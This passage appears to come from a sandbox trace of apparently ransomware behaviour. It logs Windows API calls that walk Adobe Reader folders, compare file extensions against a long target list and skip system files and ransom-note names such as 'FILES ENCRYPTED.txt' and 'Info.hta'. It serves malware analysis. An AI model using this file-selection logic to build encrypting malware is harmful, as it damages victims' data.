lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0262.145] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0262.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0262.145] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp") returned 105 [0262.145] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0262.146] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.146] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4830, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.146] lstrlenW (lpString="ui-strings.js") returned 13 [0262.146] lstrlenW (lpString=".1cd") returned 4 [0262.146] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0262.146] lstrlenW (lpString=".3ds") returned 4 [0262.146] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0262.146] lstrlenW (lpString=".3fr") returned 4 [0262.146] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0262.146] lstrlenW (lpString=".3g2") returned 4 [0262.146] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0262.146] lstrlenW (lpString=".3gp") returned 4 [0262.146] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0262.146] lstrlenW (lpString=".7z") returned 3 [0262.146] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0262.146] lstrlenW (lpString=".accda") returned 6 [0262.146] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0262.146] lstrlenW (lpString=".accdb") returned 6 [0262.146] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0262.147] lstrlenW (lpString=".accdc") returned 6 [0262.147] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0262.147] lstrlenW (lpString=".accde") returned 6 [0262.147] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0262.147] lstrlenW (lpString=".accdt") returned 6 [0262.147] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0262.147] lstrlenW (lpString=".accdw") returned 6 [0262.147] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0262.147] lstrlenW (lpString=".adb") returned 4 [0262.147] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0262.147] lstrlenW (lpString=".adp") returned 4 [0262.147] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0262.147] lstrlenW (lpString=".ai") returned 3 [0262.147] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0262.147] lstrlenW (lpString=".ai3") returned 4 [0262.147] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0262.147] lstrlenW (lpString=".ai4") returned 4 [0262.147] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0262.147] lstrlenW (lpString=".ai5") returned 4 [0262.147] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0262.147] lstrlenW (lpString=".ai6") returned 4 [0262.147] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0262.147] lstrlenW (lpString=".ai7") returned 4 [0262.147] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0262.147] lstrlenW (lpString=".ai8") returned 4 [0262.147] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0262.147] lstrlenW (lpString=".anim") returned 5 [0262.147] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0262.147] lstrlenW (lpString=".arw") returned 4 [0262.147] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0262.148] lstrlenW (lpString=".as") returned 3 [0262.148] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0262.148] lstrlenW (lpString=".asa") returned 4 [0262.148] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0262.148] lstrlenW (lpString=".asc") returned 4 [0262.148] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0262.148] lstrlenW (lpString=".ascx") returned 5 [0262.148] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0262.148] lstrlenW (lpString=".asm") returned 4 [0262.148] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0262.148] lstrlenW (lpString=".asmx") returned 5 [0262.148] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0262.148] lstrlenW (lpString=".asp") returned 4 [0262.148] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0262.148] lstrlenW (lpString=".aspx") returned 5 [0262.148] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0262.243] lstrlenW (lpString=".asr") returned 4 [0262.243] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0262.243] lstrlenW (lpString=".asx") returned 4 [0262.243] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0262.243] lstrlenW (lpString=".avi") returned 4 [0262.243] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0262.243] lstrlenW (lpString=".avs") returned 4 [0262.243] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0262.243] lstrlenW (lpString=".backup") returned 7 [0262.244] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0262.244] lstrlenW (lpString=".bak") returned 4 [0262.244] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0262.244] lstrlenW (lpString=".bay") returned 4 [0262.244] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0262.244] lstrlenW (lpString=".bd") returned 3 [0262.244] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0262.244] lstrlenW (lpString=".bin") returned 4 [0262.244] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0262.244] lstrlenW (lpString=".bmp") returned 4 [0262.244] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0262.244] lstrlenW (lpString=".bz2") returned 4 [0262.244] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0262.244] lstrlenW (lpString=".c") returned 2 [0262.244] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0262.244] lstrlenW (lpString=".cdr") returned 4 [0262.244] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0262.244] lstrlenW (lpString=".cer") returned 4 [0262.244] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0262.245] lstrlenW (lpString=".cf") returned 3 [0262.245] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0262.245] lstrlenW (lpString=".cfc") returned 4 [0262.245] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0262.245] lstrlenW (lpString=".cfm") returned 4 [0262.245] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0262.245] lstrlenW (lpString=".cfml") returned 5 [0262.245] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0262.245] lstrlenW (lpString=".cfu") returned 4 [0262.245] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0262.245] lstrlenW (lpString=".chm") returned 4 [0262.245] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0262.245] lstrlenW (lpString=".cin") returned 4 [0262.245] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0262.245] lstrlenW (lpString=".class") returned 6 [0262.245] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0262.245] lstrlenW (lpString=".clx") returned 4 [0262.245] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0262.245] lstrlenW (lpString=".config") returned 7 [0262.245] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0262.246] lstrlenW (lpString=".cpp") returned 4 [0262.246] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0262.246] lstrlenW (lpString=".cr2") returned 4 [0262.246] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0262.246] lstrlenW (lpString=".crt") returned 4 [0262.246] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0262.246] lstrlenW (lpString=".crw") returned 4 [0262.246] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0262.246] lstrlenW (lpString=".cs") returned 3 [0262.246] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0262.246] lstrlenW (lpString=".css") returned 4 [0262.246] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0262.246] lstrlenW (lpString=".csv") returned 4 [0262.246] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0262.246] lstrlenW (lpString=".cub") returned 4 [0262.246] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0262.246] lstrlenW (lpString=".dae") returned 4 [0262.246] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0262.246] lstrlenW (lpString=".dat") returned 4 [0262.246] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0262.246] lstrlenW (lpString=".db") returned 3 [0262.246] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0262.246] lstrlenW (lpString=".dbf") returned 4 [0262.247] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0262.247] lstrlenW (lpString=".dbx") returned 4 [0262.247] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0262.247] lstrlenW (lpString=".dc3") returned 4 [0262.247] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0262.247] lstrlenW (lpString=".dcm") returned 4 [0262.247] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0262.247] lstrlenW (lpString=".dcr") returned 4 [0262.247] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0262.247] lstrlenW (lpString=".der") returned 4 [0262.247] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0262.247] lstrlenW (lpString=".dib") returned 4 [0262.247] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0262.247] lstrlenW (lpString=".dic") returned 4 [0262.247] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0262.247] lstrlenW (lpString=".dif") returned 4 [0262.247] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0262.247] lstrlenW (lpString=".divx") returned 5 [0262.247] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0262.247] lstrlenW (lpString=".djvu") returned 5 [0262.247] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0262.248] lstrlenW (lpString=".dng") returned 4 [0262.248] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0262.248] lstrlenW (lpString=".doc") returned 4 [0262.248] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0262.248] lstrlenW (lpString=".docm") returned 5 [0262.248] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0262.248] lstrlenW (lpString=".docx") returned 5 [0262.248] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0262.248] lstrlenW (lpString=".dot") returned 4 [0262.248] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0262.248] lstrlenW (lpString=".dotm") returned 5 [0262.248] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0262.248] lstrlenW (lpString=".dotx") returned 5 [0262.248] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0262.248] lstrlenW (lpString=".dpx") returned 4 [0262.248] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0262.248] lstrlenW (lpString=".dqy") returned 4 [0262.248] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0262.248] lstrlenW (lpString=".dsn") returned 4 [0262.248] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0262.248] lstrlenW (lpString=".dt") returned 3 [0262.249] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0262.249] lstrlenW (lpString=".dtd") returned 4 [0262.249] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0262.249] lstrlenW (lpString=".dwg") returned 4 [0262.249] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0262.249] lstrlenW (lpString=".dwt") returned 4 [0262.249] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0262.249] lstrlenW (lpString=".dx") returned 3 [0262.249] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0262.249] lstrlenW (lpString=".dxf") returned 4 [0262.249] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0262.249] lstrlenW (lpString=".edml") returned 5 [0262.249] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0262.249] lstrlenW (lpString=".efd") returned 4 [0262.249] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0262.249] lstrlenW (lpString=".elf") returned 4 [0262.249] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0262.249] lstrlenW (lpString=".emf") returned 4 [0262.249] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0262.249] lstrlenW (lpString=".emz") returned 4 [0262.249] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0262.250] lstrlenW (lpString=".epf") returned 4 [0262.250] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0262.250] lstrlenW (lpString=".eps") returned 4 [0262.250] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0262.250] lstrlenW (lpString=".epsf") returned 5 [0262.250] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0262.250] lstrlenW (lpString=".epsp") returned 5 [0262.250] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0262.250] lstrlenW (lpString=".erf") returned 4 [0262.250] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0262.250] lstrlenW (lpString=".exr") returned 4 [0262.250] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0262.250] lstrlenW (lpString=".f4v") returned 4 [0262.250] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0262.250] lstrlenW (lpString=".fido") returned 5 [0262.250] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0262.250] lstrlenW (lpString=".flm") returned 4 [0262.250] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0262.250] lstrlenW (lpString=".flv") returned 4 [0262.250] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0262.250] lstrlenW (lpString=".frm") returned 4 [0262.251] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0262.251] lstrlenW (lpString=".fxg") returned 4 [0262.251] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0262.251] lstrlenW (lpString=".geo") returned 4 [0262.251] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0262.251] lstrlenW (lpString=".gif") returned 4 [0262.251] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0262.251] lstrlenW (lpString=".grs") returned 4 [0262.251] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0262.251] lstrlenW (lpString=".gz") returned 3 [0262.251] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0262.251] lstrlenW (lpString=".h") returned 2 [0262.251] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0262.251] lstrlenW (lpString=".hdr") returned 4 [0262.251] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0262.251] lstrlenW (lpString=".hpp") returned 4 [0262.251] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0262.251] lstrlenW (lpString=".hta") returned 4 [0262.251] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0262.252] lstrlenW (lpString=".htc") returned 4 [0262.252] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0262.252] lstrlenW (lpString=".htm") returned 4 [0262.252] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0262.252] lstrlenW (lpString=".html") returned 5 [0262.252] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0262.252] lstrlenW (lpString=".icb") returned 4 [0262.252] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0262.252] lstrlenW (lpString=".ics") returned 4 [0262.252] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0262.252] lstrlenW (lpString=".iff") returned 4 [0262.252] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0262.252] lstrlenW (lpString=".inc") returned 4 [0262.252] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0262.252] lstrlenW (lpString=".indd") returned 5 [0262.252] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0262.252] lstrlenW (lpString=".ini") returned 4 [0262.252] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0262.252] lstrlenW (lpString=".iqy") returned 4 [0262.252] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0262.252] lstrlenW (lpString=".j2c") returned 4 [0262.252] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0262.252] lstrlenW (lpString=".j2k") returned 4 [0262.252] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0262.252] lstrlenW (lpString=".java") returned 5 [0262.253] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0262.253] lstrlenW (lpString=".jp2") returned 4 [0262.253] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0262.253] lstrlenW (lpString=".jpc") returned 4 [0262.253] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0262.253] lstrlenW (lpString=".jpe") returned 4 [0262.253] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0262.253] lstrlenW (lpString=".jpeg") returned 5 [0262.253] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0262.253] lstrlenW (lpString=".jpf") returned 4 [0262.253] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0262.253] lstrlenW (lpString=".jpg") returned 4 [0262.253] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0262.253] lstrlenW (lpString=".jpx") returned 4 [0262.253] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0262.253] lstrlenW (lpString=".js") returned 3 [0262.253] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0262.253] lstrlenW (lpString="ui-strings.js") returned 13 [0262.253] lstrlenW (lpString=".love$") returned 6 [0262.253] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0262.253] lstrlenW (lpString="ui-strings.js") returned 13 [0262.253] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0262.253] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0262.253] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0262.253] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0262.254] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0262.254] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0262.254] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0262.254] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0262.254] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js") returned 119 [0262.254] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4830, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.254] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0262.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0262.254] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0262.254] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr") returned 105 [0262.254] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr") returned 1 [0262.254] lstrlenW (lpString="ko-kr") returned 5 [0262.254] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ko-kr") returned -1 [0262.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0262.254] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr") returned 105 [0262.255] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0262.533] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.533] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.533] lstrlenW (lpString="ui-strings.js") returned 13 [0262.534] lstrlenW (lpString=".1cd") returned 4 [0262.534] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0262.534] lstrlenW (lpString=".3ds") returned 4 [0262.534] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0262.534] lstrlenW (lpString=".3fr") returned 4 [0262.534] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0262.534] lstrlenW (lpString=".3g2") returned 4 [0262.534] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0262.534] lstrlenW (lpString=".3gp") returned 4 [0262.534] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0262.534] lstrlenW (lpString=".7z") returned 3 [0262.534] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0262.534] lstrlenW (lpString=".accda") returned 6 [0262.534] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0262.534] lstrlenW (lpString=".accdb") returned 6 [0262.534] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0262.534] lstrlenW (lpString=".accdc") returned 6 [0262.534] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0262.534] lstrlenW (lpString=".accde") returned 6 [0262.535] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0262.535] lstrlenW (lpString=".accdt") returned 6 [0262.535] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0262.535] lstrlenW (lpString=".accdw") returned 6 [0262.535] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0262.535] lstrlenW (lpString=".adb") returned 4 [0262.535] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0262.535] lstrlenW (lpString=".adp") returned 4 [0262.535] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0262.535] lstrlenW (lpString=".ai") returned 3 [0262.535] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0262.535] lstrlenW (lpString=".ai3") returned 4 [0262.535] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0262.535] lstrlenW (lpString=".ai4") returned 4 [0262.535] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0262.535] lstrlenW (lpString=".ai5") returned 4 [0262.535] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0262.535] lstrlenW (lpString=".ai6") returned 4 [0262.536] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0262.536] lstrlenW (lpString=".ai7") returned 4 [0262.536] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0262.536] lstrlenW (lpString=".ai8") returned 4 [0262.536] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0262.536] lstrlenW (lpString=".anim") returned 5 [0262.536] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0262.536] lstrlenW (lpString=".arw") returned 4 [0262.536] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0262.536] lstrlenW (lpString=".as") returned 3 [0262.546] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 